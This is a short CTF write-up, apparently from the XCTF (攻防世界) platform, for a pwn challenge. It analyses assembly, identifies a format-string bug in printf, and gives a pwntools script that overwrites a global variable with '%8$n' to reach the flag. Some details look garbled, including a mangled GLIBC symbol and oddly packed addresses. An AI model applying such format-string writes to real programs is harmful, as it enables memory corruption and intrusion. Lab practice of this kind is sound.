攻防世界 - pwn - string
A、程序分析
1、mov eax, ds:[email protected]@GLIBC_2_0
mov [esp+8], eax ; stream
mov dword ptr [esp+4], 64h ; n
lea eax, [esp+9Ch+s]
mov [esp], eax ; s
call _fgets
输入点
2、 lea eax, [esp+9Ch+s]
mov [esp], eax ; format
call _printf
考虑格式化字符串漏洞
3、mov eax, ds:pwnme
cmp eax, 8
jnz short loc_80486F6
ds:pwnme存储的内容为8执行cat flag, ds:pwnme为全局变量:0x0804A068
B、利用分析
1、通过输入点将 全局变量 0x0804A068 存放于栈
2、通过printf将 0x0804A068 的内容修改为8(参数位置通过字符串与%x搭配测试)
C、代码
#!/usr/bin/python3
from pwn import *
adress = p32(0xA0680000)+p32(0x00000804)
payload = 'A'*8 + '%8$n'
p = process('./CGfsb')
p.sendlineafter("please tell me your name:",adress)
p.sendlineafter("leave your message please:",payload)
p.interactive()